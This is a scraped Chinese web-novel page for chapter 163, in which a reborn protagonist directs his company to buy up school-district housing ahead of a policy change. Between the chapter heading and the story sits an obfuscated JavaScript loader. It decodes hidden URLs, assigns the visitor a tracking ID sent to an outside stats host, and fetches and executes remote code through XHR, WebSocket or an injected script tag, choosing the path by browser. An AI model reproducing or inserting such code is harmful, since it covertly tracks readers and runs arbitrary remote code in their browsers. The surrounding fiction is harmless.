足迹
杨洛伊这个名字怎么样
登录
关灯
护眼
字体:

第163章 许砺韬的自信!这让他怎么失败?(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

许砺韬一副雄心壮志、成竹在胸的模样,周润等公司员工,当然不会质疑自家老板的决定。

林宇翰虽然满心的疑惑,但也不会说出来。

只有王剑临,他身为此次的合伙人,又是最大的投资者,对于许砺韬的学区房计划,有点不确定。

于是就笑着问道:

“小韬,伯父什么的都不问,我只想知道,这次你有多少把握?”

“九成!”

许砺韬自信的看着王剑临回道,脸上一副胜券在握的模样。

其实他想直接说有十成把握的,但是给人的感觉太满了,过犹不及,这才只说了九成把握。

等到过段时间,小升初的就近入学政策出来,直接就催生了名校周边房价和房租的疯狂飙升。

京城北四环外五道口,华清嘉园的一套学区房挂牌价高达10万元平方米,因此被戏称为“宇宙中心”。

而京城景山东街一套400平的学区房更是直接报价1.3亿,折合32.5万平。

学区房和普通房子的差别到底有多大?

举个例子。

就说京城海定区四环内的两栋楼房,两者只是相距20多米。

虽然外墙粉刷颜色和新旧程度看似不同,但两栋楼房都建于1988年,建筑风格和楼层结构也完全相同。

两楼之间仅仅就隔着一道铁栅栏和树木。

但是,作为二手房,在交易市场上,相距只有20多米的这两栋楼房,它们的价格却有着天壤之别。

那栋普通的楼房,大概市场价是一万五到一万六,而那栋规划为学区房的楼房呢。

它的市场价竟然高达三万五到三万六!

价格每平米比普通房子整整高出2万块钱,一套房子就高出将近几百万。

这还不算多的,有些学区房的价格甚至能达到几十万一平。

之所以学区房的价格一直居高不下,主要有两个原因,一是学区房非常紧俏,基本上属于卖家一放盘立刻就有人接下。

二呢就是教育资源分布不均,家长不愿让孩子输在起跑线上,直接让国内的学区房成为炙手可热的高价抢购品。

在后面,国家出台政策抑制房价,其他商品房价普遍得到遏制时,学区房却没受任何影响,还在稳步上涨。

现在国内的中小学区域,还没有被划分成学区房,几百几千一平都无人问津,正是最适合拿下的时候。

等到政策出台,出手个几万几十万都没人嫌高。

许砺韬回想起前世的信息,先知先觉的他怎么可能会失败?

不存在的!只有一个结果,那就是赚得盆满钵满!

“好!”

听到许砺韬这志在必得的话,王剑临叫了一声好,心潮澎湃的说道:

“你看着安排吧,我信你!”

此时都到这个份上了,王剑临已经没有了退路,只能相信许砺韬。

“伯父你就放心吧,不出半个月你就知道了。”

许砺韬自信的笑了笑,安抚了王剑临一句,接着就看向周润、林宇翰他们。

“给你们半个月的时间,总资金343亿!”

“把国内稀缺性的学区房全都给我拿下!”

“考虑到资金可能不足,优先选择一二线大城市的学区房。”

许砺韬想了想,才300多亿的资金,能拿到的学区房肯定是有限的,于是又补充了一句。

“周总,林主管,有没有问题?”

“老板!完全没有问题!保证完成任务!”

周润激动的摩拳擦掌,一副要大干一场的架势。

旁边的林宇翰想了想,也是点头回答道: